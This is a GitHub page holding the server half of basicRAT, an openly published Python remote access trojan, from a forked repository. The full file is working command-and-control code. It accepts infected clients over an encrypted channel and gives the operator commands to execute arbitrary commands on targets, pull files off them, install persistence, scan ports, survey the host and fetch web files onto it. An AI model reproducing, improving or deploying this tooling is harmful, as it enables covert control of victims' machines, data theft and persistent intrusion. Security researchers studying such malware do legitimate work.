forked from awesome-security/basicRAT
-
Notifications
You must be signed in to change notification settings - Fork 13
/
basicRAT_server.py
executable file
·243 lines (199 loc) · 7.7 KB
/
basicRAT_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# basicRAT server
# https://github.com/vesche/basicRAT
#
import argparse
import readline
import socket
import struct
import sys
import threading
import time
from core import common
from core import crypto
from core import filesock
# ascii banner (Crawford2) - http://patorjk.com/software/taag/
# ascii rat art credit - http://www.ascii-art.de/ascii/pqr/rat.txt
BANNER = '''
____ ____ _____ ____ __ ____ ____ ______ . ,
| \ / |/ ___/| | / ]| \ / || | (\;/)
| o )| o ( \_ | | / / | D )| o || | oo \//, _
| || |\__ | | |/ / | / | ||_| |_| ,/_;~ \, / '
| O || _ |/ \ | | / \_ | \ | _ | | | "' ( ( \ !
| || | |\ | | \ || . \| | | | | // \ |__.'
|_____||__|__| \___||____\____||__|\_||__|__| |__| '~ '~----''
https://github.com/vesche/basicRAT
'''
HELP_TEXT = '''
client <id> - Connect to a client.
clients - List connected clients.
download <files> - Download file(s).
execute <command> - Execute a command on the target.
help - Show this help menu.
kill - Kill the client connection.
persistence - Apply persistence mechanism.
quit - Exit the server and end all client connections.
rekey - Regenerate crypto key.
scan <ip> - Scan top 25 ports on a single host.
survey - Run a system survey.
unzip <file> - Unzip a file.
upload <files> - Upload files(s).
wget <url> - Download a file from the web.'''
COMMANDS = [ 'client', 'clients', 'download', 'execute', 'help', 'kill',
'persistence', 'quit', 'rekey', 'scan', 'survey', 'unzip',
'upload', 'wget' ]
class Server(threading.Thread):
clients = []
alive = True
client_count = 1
def __init__(self, port):
super(Server, self).__init__()
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.s.bind(('0.0.0.0', port))
self.s.listen(5)
def run(self):
while True:
conn, addr = self.s.accept()
client = ClientConnection(conn, addr)
client_id = self.client_count
self.clients.append({'client_id': client_id, 'client': client})
self.client_count += 1
def verify_client_id(self, client_id):
try:
client_index = next(i for (i, d) in enumerate(self.clients) if \
d['client_id'] == int(client_id))
return True, 'Client {} selected.'.format(client_id)
except (StopIteration, ValueError):
return False, 'Error: Invalid client ID.'
def select_client(self, client_id):
try:
for c in self.clients:
if c['client_id'] == int(client_id):
return c['client']
except (ValueError, IndexError):
print 'Error: Invalid client ID.'
def get_clients(self):
return [c for c in self.clients if c['client'].alive]
def remove_client(self, conn):
conn_to_remove = next(i for i in self.clients if i['client'] == conn)
self.clients.remove(conn_to_remove)
class ClientConnection(threading.Thread):
alive = True
def __init__(self, conn, addr):
super(ClientConnection, self).__init__()
self.conn = conn
self.addr = addr
self.dh_key = crypto.diffiehellman(self.conn, server=True)
self.GCM = crypto.AES_GCM(self.dh_key)
self.IV = 0
self.conn.setblocking(0)
self.start()
def send(self, prompt, cmd, action):
if not self.alive:
print 'Error: Client not connected.'
return
# send prompt to client
# self.conn.send(crypto.AES_encrypt(prompt, self.dh_key))
crypto.sendGCM(self.conn, self.GCM, self.IV, prompt)
self.conn.settimeout(1)
self.IV += 1
# kill client connection
if cmd == 'kill':
self.conn.close()
# download a file
elif cmd == 'download':
for fname in action.split():
fname = fname.strip()
filesock.recvfile(self.conn, self.GCM, fname)
# send file
elif cmd == 'upload':
for fname in action.split():
fname = fname.strip()
filesock.sendfile(self.conn, self.GCM, self.IV, fname)
# regenerate DH key
elif cmd == 'rekey':
self.dh_key = crypto.diffiehellman(self.conn, server=True)
# results of survey, persistence, unzip, or wget
elif cmd in ['execute', 'scan', 'survey', 'persistence', 'unzip', 'wget']:
print 'Running {}...'.format(cmd)
recv_data = crypto.recvGCM(self.conn, self.GCM).rstrip()
print recv_data
#recv_data = self.conn.recv(1024)
#print crypto.AES_decrypt(recv_data, self.dh_key)
def get_parser():
parser = argparse.ArgumentParser(description='basicRAT server')
parser.add_argument('-p', '--port', help='Port to listen on.',
default=1337, type=int)
return parser
def main():
parser = get_parser()
args = vars(parser.parse_args())
port = args['port']
curr_client_id = '?'
# print banner all sexy like
for line in BANNER.split('\n'):
time.sleep(0.05)
print line
# start server
server = Server(port)
server.setDaemon(True)
server.start()
print 'basicRAT server listening for connections on port {}.'.format(port)
while True:
prompt = raw_input('\n[{}] basicRAT> '.format(curr_client_id)).rstrip()
# allow noop
if not prompt:
continue
# seperate prompt into command and action
cmd, _, action = prompt.partition(' ')
# ensure command is valid before sending
if cmd not in COMMANDS:
print 'Invalid command, type "help" to see a list of commands.'
continue
# display help text
if cmd == 'help':
print HELP_TEXT
continue
# stop the server
elif cmd == 'quit':
quit_option = raw_input('Exit the server and end all client ' \
'connections (y/N)? ')
if quit_option[0].lower() == 'y':
# gracefull kill all clients here
sys.exit(0)
else:
continue
# select client
elif cmd == 'client':
success, message = server.verify_client_id(action)
if success:
curr_client_id = action
print message
continue
# list clients
elif cmd == 'clients':
print 'ID - Client Address'
for c in server.get_clients():
print '{:>2} - {}'.format(c['client_id'], c['client'].addr[0])
continue
# require client id
if curr_client_id == '?':
print 'Error: Invalid client ID.'
continue
# get client object based on current client id
client = server.select_client(curr_client_id)
# send data to client
try:
client.send(prompt, cmd, action)
except (socket.error, ValueError):
print "Client {} disconnected.".format(curr_client_id)
cmd = 'kill'
# reset client id if client killed
if cmd == 'kill':
server.remove_client(client)
curr_client_id = '?'
if __name__ == '__main__':
main()